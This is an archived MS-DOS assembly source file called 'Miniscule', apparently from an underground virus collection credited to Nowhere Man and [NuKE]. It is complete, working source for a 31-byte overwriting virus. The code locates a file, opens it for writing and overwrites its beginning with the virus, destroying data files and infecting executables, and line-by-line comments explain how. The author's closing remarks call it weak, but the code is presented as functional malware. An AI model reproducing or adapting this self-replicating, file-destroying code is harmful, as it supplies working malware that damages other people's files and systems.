home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / miniscul.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.0 KB  |  77 lines

  1. ; Miniscule:  the world's smallest generic virus (only 31 bytes long!)
  2.  
  3. ; (C) 1992 Nowhere Man and [NuKE] WaReZ
  4.  
  5. ; Written on January 22, 1991
  6.  
  7.  
  8.  
  9. code        segment 'CODE'
  10.  
  11.         assume cs:code,ds:code,es:code,ss:code
  12.  
  13.  
  14.  
  15.         org    0100h
  16.  
  17.  
  18.  
  19. main        proc    near
  20.  
  21.  
  22.  
  23.  
  24.  
  25. ; Find the name of the first file and return it in the DTA.  No checking
  26.  
  27. ; is done for previous infections, and ANY file (except directory "files")
  28.  
  29. ; will be infected, including data, texts, etc.  So either a file is corrupted
  30.  
  31. ; (in the case of data or text) or infected (.EXE and .COM files).  Files that
  32.  
  33. ; have the read-only flag set are immune to Miniscule.
  34.  
  35.  
  36.  
  37.         mov    ah,04Eh            ; DOS find first file function
  38.  
  39.         mov    cl,020h            ; CX holds attribute mask
  40.  
  41.         mov    dx,offset star_dot_com    ; DX points to the file mask
  42.  
  43.         int    021h
  44.  
  45.  
  46.  
  47.  
  48.  
  49. ; Open the file that we've found for writing only and put the handle into
  50.  
  51. ; BX (DOS stupidly returns the file handle in AX, but all other DOS functions
  52.  
  53. ; require it to be in AX, so we have to move it).
  54.  
  55.  
  56.  
  57.         mov    ax,03D01h        ; DOS open file function, w/o
  58.  
  59.         mov    dx,009Eh        ; DX points to the found file
  60.  
  61.         int    021h
  62.  
  63.  
  64.  
  65.         xchg    bx,ax            ; BX holds the file handle
  66.  
  67.  
  68.  
  69.  
  70.  
  71. ; Write the virus to the file.  The first 31 bytes at offset 0100h (ie: the
  72.  
  73. ; virus) are written into the beginning of the victim.  No attempt is made
  74.  
  75. ; to preserve the victim's executability.  This also destroys the file's date
  76.  
  77. ; and time, making Miniscule's activity painfully obvious.  Also, if the
  78.  
  79. ; victim is smaller than 31 bytes (rare), then it will grow to exactly 31.
  80.  
  81.  
  82.  
  83.         mov    ah,040h            ; DOS write to file function
  84.  
  85.         dec    cx            ; CX now holds 01Fh (length)
  86.  
  87.         mov    dx,offset main        ; DX points to start of code
  88.  
  89.         int    021h
  90.  
  91.  
  92.  
  93.  
  94.  
  95. ; Exit.  I chose to use a RET statement here to save one byte (RET is one byte
  96.  
  97. ; long, INT 020h is two), so don't try to compile this as an .EXE file; it
  98.  
  99. ; will crash, as only .COMs RETurn correctly (DOS again).  However INFECTED
  100.  
  101. ; .EXE programs will run successfully (unless they are larger than 64k, in
  102.  
  103. ; which case DOS will refuse to run it.
  104.  
  105.  
  106.  
  107.         ret                ; RETurn to DOS
  108.  
  109. main        endp
  110.  
  111.  
  112.  
  113.  
  114.  
  115. ; The only data required in this program, and it's only four bytes long.  This
  116.  
  117. ; is the file mask that the DOS find first file function will use when
  118.  
  119. ; searching.  Do not change this to .EXE (or whatever) because this virus
  120.  
  121. ; is size dependent (if you know what you're doing, go ahead [at you're own
  122.  
  123. ; risk]).
  124.  
  125.  
  126.  
  127. star_dot_com    db    "*.*",0            ; File search mask
  128.  
  129.  
  130.  
  131. finish        label    near
  132.  
  133.  
  134.  
  135. code        ends
  136.  
  137.         end    main
  138.  
  139.  
  140.  
  141. ; There you have it:  thirty-one bytes of pure terror -- NOT!  As you can
  142.  
  143. ; pretty well guess, this virus is very lame.  Due to its poor reproduction,
  144.  
  145. ; it is hardly a threat (hitting one file, if you're lucky), but it works,
  146.  
  147. ; and it fits the definition of a virus.  There is no way to make this code
  148.  
  149. ; any smaller (at least under MS-DOS), except if you made it only infect
  150.  
  151. ; one specific file (and the file would have to have a one- or two-byte name,
  152.  
  153. ; too), and that would be next to useless.